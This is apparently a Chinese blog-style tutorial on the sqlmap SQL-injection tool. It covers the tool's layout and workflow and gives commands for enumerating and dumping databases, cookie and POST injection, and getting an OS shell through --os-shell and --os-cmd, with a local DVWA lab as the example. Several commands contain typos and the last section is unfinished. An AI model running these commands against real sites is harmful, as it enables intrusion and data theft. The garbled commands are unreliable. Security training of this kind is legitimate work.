sqlmap工具的使用

sqlmap工具的使用:
sql注入工具:明小子,啊d、罗卜头、穿山甲、sqlmap等等
开源自动化注入利用工具,支持的数据库有12种,在/plugins中可以看到支持的数据库种类,在所有注入利用工具中他是最好的!!
支持的注入类型:bool、时间、报错、联合、、堆查询、内联
可以获取用户名、密码、权限、角色、数据库(表、、字段、内容)
可以爆破识别密文数据
getshell
命令执行
脱库/删除
 
目录介绍:
doc介绍文档
extra 是sqlmap额外的功能运行CMD执行命令
lib是sqlmap核心功能代码
pluigifins 包含12种数据库识别程序
    data 存放一些工具过程中使用的工具或命令
    procs 包含了mssql mysql  oracle postgresql
    shell 远程命令和后门
    txt 表名列名、ua字典
    udf 存放攻击载荷payload
    xml 存放检测的脚本
tamper 包含各种绕waf的处理脚本
thirdparty包含了第三方插件,颜色,优化等
 
sqlmap工作流程
(1)、初始化
(2)、开始检测
        0>检测之前是否注入过(会把检测的url默认存放在家目录中.sqlmap下的output --output-dir参数可以指定存放的目录)
        1>解析url,判断该url是否可访问
        2>检测是否有WAF
                sqlmap -u“目录url” --identify-waf
                sqlmap -u "目标url"  --check-waf
        3>执行用户输入的参数
                -u  指定url
                -p  执行参数
                -v  执行显示的级别
                --dbs 数据库
                --current-db  当前数据库
                --columns 列名
                --dump  获取数据
                --batch 跳过问询yes直接执行
                --DBMS 指定数据库类型
步骤:
(1)、判断注入点:sqlmap -u “目标url” 当看到探测的结果中有环境参数(系统、数据库)表示有注入
(2)、查看所有的数据库:sqlmap -u "目标url" --dbs --dbms mysql
(3)、获取当前的数据库:sqlmap -u“目标url”-D “库名” --dbms mysql
(4)、获取当前数据库下的表:sqlmap -u “目标url” -D“库名”  --dbms mysql  --tatch --tables
(5)、获取当前数据库中指定表下的字段名:sqlmap -u“目标url”-D 库名 -T 表名
--columns
(6)、获取指定字段对应的内容:sqlmap -u “目标url” -D 库名 -T 表名 -C 字段 -dump(多个字段名需要用,隔开)
例子:
http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#直接访问会出现302跳转,添加cookie
添加cookie后:python sqlmap.py -u " http://127.0.0.1/DVWA/vulnerabilities/sqli/?id=1&Submit=Submit#" -p id --cookie="security=low;PHPSESSID=uuk3j8634mp29hu1vi4dimtvo4"
结果:
post型的sqlmap方法:
拦截数据包保存txt文件,post.txt
python sqlmap.py -r post.txt -p "uname"(-r 读取指定文件,-p告诉sqlmap测试哪个参数)
 
cookie注入:
python sqlmap.py -u “target” --cookie"uname=12" --level 2
python sqlmap.py -r C:\Users\Han\Desktop\post_cookie.txt --level 2
--level=LEVEL执行测试的等级(1-5、默认是1)
--level 对测试参数的影响,一共是5个等级,默认是1,sqlmap使用的payload可以在payload.xml中看到,你也可以根据相应的格式添加自己的payload内容,默认
 
UA注入:
伪静态注入:python sqlmap.py -u “url” -v 0-6
--riskmap.py -u “url” -v 0-6
 
批量测试
 
sqlmap注入点执行系统命令或者交互式shell
(条件:1.数据库有写文件权限2.需要知道web站点的路径)
sqlmap.py -u "target_url" --os-cmd=ipcondig  执行系统命令ipconfig
sqlmap.py -u "target_url"  --os-shell  获取系统的shell
sqlmap.py -u "target_url"  --is-dba   判断当前用户是不是dba
延时注入
 
sqlmap直连mysql数据库
sqlmap.py -d "mysql://root:[email protected]:3306/mysql" -f --banner --dbs --users
 
sqlmap注入利用access
acess数据库没有库的概念。打开数据库文件看到只有表和字段以及内容
python sqlmap.py -u "targe_url"  --tables//获取所有的数据表
python sqlmap.py -u "target_url"  -T 表名  --columns//获取字段
python  sqlmap.py -u"target_url" --tables //表名
sqlmap写入文件:

猜你喜欢

转载自www.cnblogs.com/yyhfirstblog/p/11768249.html